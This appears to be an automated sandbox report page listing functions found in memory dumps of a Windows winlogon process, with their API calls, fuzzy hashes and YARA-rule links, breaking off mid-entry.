Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: b8fe504bb407258c64da02a96ca7c5ba8b0e93a1ad385a2ab9df165d35783e3f
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: FC02FC3A219B94D6EBA0CB59F49435AB7A0F3C5795F104416EA8E87BA8DF7CC445CF00

Function 00000225DC6A5810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5896

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 1ffdf77440144320880841716a0512793572cc22953dbc9cff7090dbbc4ba5bb
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: 7B02DA36219F9496E760CB99F49435AB7B0F3C4795F208016EA8E87BA8DF7DC494CB00

Function 00000225DC672C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000225DC672CAD
TlsGetValue.KERNEL32 ref: 00000225DC672CBC
TlsGetValue.KERNEL32 ref: 00000225DC672CCB
TlsSetValue.KERNEL32 ref: 00000225DC672E0F
TlsSetValue.KERNEL32 ref: 00000225DC672E1E
TlsSetValue.KERNEL32 ref: 00000225DC672E2D

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: 239365e036b6f85965a45bd8f1f20c39413e71112a752a4d373e0fd63fd9046a
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 3B51B439204E21E7E365CF9EE44865A73A0F788B86F60C519DD4A47B94DF38C845CB00

Function 00000225DC6A2C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000225DC6A2CAD
TlsGetValue.KERNEL32 ref: 00000225DC6A2CBC
TlsGetValue.KERNEL32 ref: 00000225DC6A2CCB
TlsSetValue.KERNEL32 ref: 00000225DC6A2E0F
TlsSetValue.KERNEL32 ref: 00000225DC6A2E1E
TlsSetValue.KERNEL32 ref: 00000225DC6A2E2D

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: 1008572df6bdbce857969eaecfe603bf8008a31496c7d74fbc8725216b4a41b3
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 9151D639654E21A7E365DF9EE44865AB3E0F788B86F60C119ED4E83754DF38C846CB00

Function 00000225DC642AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000225DC642AE1
TlsGetValue.KERNEL32 ref: 00000225DC642AF0
TlsGetValue.KERNEL32 ref: 00000225DC642AFF
TlsSetValue.KERNEL32 ref: 00000225DC642C3B
TlsSetValue.KERNEL32 ref: 00000225DC642C4A
TlsSetValue.KERNEL32 ref: 00000225DC642C59

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 367f64ed0c0295eef91848d0396296509a590e13b71d415c66fd2df6aef77ac4
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 6751B63921CE62A7E765CF9EE84861A73A1F788B8AF608159DD4B43754DF38D845CB00

Function 00000225DC672AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000225DC672AE1
TlsGetValue.KERNEL32 ref: 00000225DC672AF0
TlsGetValue.KERNEL32 ref: 00000225DC672AFF
TlsSetValue.KERNEL32 ref: 00000225DC672C3B
TlsSetValue.KERNEL32 ref: 00000225DC672C4A
TlsSetValue.KERNEL32 ref: 00000225DC672C59

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: a47289baa3d87ba33f1f88afe4474dab606a4d653d033b248626fe1d2762ccbb
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: FA51C53D214E61E7E765CFAEE84861A73A4F788F86F508519DE4A47B94DF38C845CB00

Function 00000225DC6A2AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000225DC6A2AE1
TlsGetValue.KERNEL32 ref: 00000225DC6A2AF0
TlsGetValue.KERNEL32 ref: 00000225DC6A2AFF
TlsSetValue.KERNEL32 ref: 00000225DC6A2C3B
TlsSetValue.KERNEL32 ref: 00000225DC6A2C4A
TlsSetValue.KERNEL32 ref: 00000225DC6A2C59

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 54ae065566b4829b781d9018a566345e36c50bff607e782f17c6b7fee4cb4d2a
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: EC51C539254E61A7E765CF9EE84865AB7A1F788B86F608119DE4E83754DF38C805CB00

Function 00000225DC645E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645E66

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 3353fd0803e8b62cac05d50f1b0f1413ca787e0ff18400d19a3c90f3a66eef8b
Instruction ID: f391407adbabd6f055ae27f7376641b3a5a98cb01709d5bad2178826b4988af3
Opcode Fuzzy Hash: 3353fd0803e8b62cac05d50f1b0f1413ca787e0ff18400d19a3c90f3a66eef8b
Instruction Fuzzy Hash: 8E61FC7A12CF50D6E7A0CB99E44831AB7A0F388B4AF108155FA8E43BA8DB7DC544CF01

Function 00000225DC675E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC675E66

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: df420bfb6b8bdc2ea69683aacb40dbca2f3a3f392b7c08502304e7a5998fc663
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 0561067A129F90D6E760CB99E45831AB7A0F388789F108516FA8D87BE8DB7DC541CF00

Function 00000225DC6A5E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5E66

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: 2cef1711cbef8828fa7d648f6754db2e6d58f1b8963c7f3555853ad98ac6ec36
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: FF61C97A129F54D6E760CB99E55831AB7E0F388749F208116FA8E87BA8DB7DC540CF00

Function 00000225DC673EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC673A5B), ref: 00000225DC673EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC673A5B), ref: 00000225DC673F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC673A5B), ref: 00000225DC673F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC673A5B), ref: 00000225DC673F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC673A5B), ref: 00000225DC673F68

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: b218463dee67502a835ae951813035202606197bf057287b7ca0e680a927a5f0
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 60118F2A604B50A3FB24CBA9E40820AA7B0FB44B85F548436DE4D03BE4EB7EC944C781

Function 00000225DC6A3EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC6A3A5B), ref: 00000225DC6A3EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6A3A5B), ref: 00000225DC6A3F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6A3A5B), ref: 00000225DC6A3F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6A3A5B), ref: 00000225DC6A3F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6A3A5B), ref: 00000225DC6A3F68

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: c8547797954554ffa4e78551a709827f54cf49ca4e02fd7e96956fd5fd9b6fc5
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 6011822A618B50A3EB64CB69E40824AA7B1FB58B82F148036EE4D43794EB7DC944C780

Function 00000225DC648CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC648CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC648D62
RtlUnwindEx.NTDLL ref: 00000225DC648DBC

Strings

csm, xrefs: 00000225DC648D49

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 4ae307845288fb3d062ff6b21d3b2bdd9a53696f29506425ff8a95e7ae8c6e8c
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 3951B23A31EE20AADB54CB9DE44CB6D7791E358B99F14C261DA4B87788DB79C842C700

Function 00000225DC678CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC678CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC678D62
RtlUnwindEx.NTDLL ref: 00000225DC678DBC

Strings

csm, xrefs: 00000225DC678D49

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: e3f065706f0033cd9b367c7da221b193a0613518b7070d47f270ab554b71a793
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 5A51C73A311E20AADB54CB9DD44CB6C7791F758B9AF14CA11EA4957BC8E778CC42C700

Function 00000225DC6A8CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC6A8CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6A8D62
RtlUnwindEx.NTDLL ref: 00000225DC6A8DBC

Strings

csm, xrefs: 00000225DC6A8D49

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 2212d634079747aafaa89bb439a841dab367c477c17d881e86c43961d0c77b4d
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 5351C63A311E20EADB54DB9DE44CB6C7791F358B9AF24C221DA4A87788DB79C842C700

Function 00000225DC64A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC64A75B
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC64A7A7

Strings

RCC, xrefs: 00000225DC64A777
MOC, xrefs: 00000225DC64A76F

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 05d6541485a4cde5682c01a5d603653128390d7577d40c8f6b44cab3c99e28d3
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 3461CE7A50CFC4A5EB318F59E4443DAB7A0F785B99F148215EB9A13B9ADB3CC091CB00

Function 00000225DC64AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC64AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC64ABBC

Strings

csm, xrefs: 00000225DC64AC0E
csm, xrefs: 00000225DC64AAF6

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 8c8bc4a70ab599d9620bd1be4db269998e674a49f348e955b95b8174a160fc55
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 1B51923A10CB50BBEBB48F99954C35877A1F354F96F24C196EA8A47BD6CB38C451C701

Function 00000225DC67A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC67A75B
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC67A7A7

Strings

MOC, xrefs: 00000225DC67A76F
RCC, xrefs: 00000225DC67A777

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 2695b427674d9b1f0b090cd8166b492a7e798804cf5713d6c1bd31e74a038d40
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: D261AD3A508BC491EB20CF69E44479AB7A0F785B99F149A15EB9813F9ADB7CC191CB00

Function 00000225DC67AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

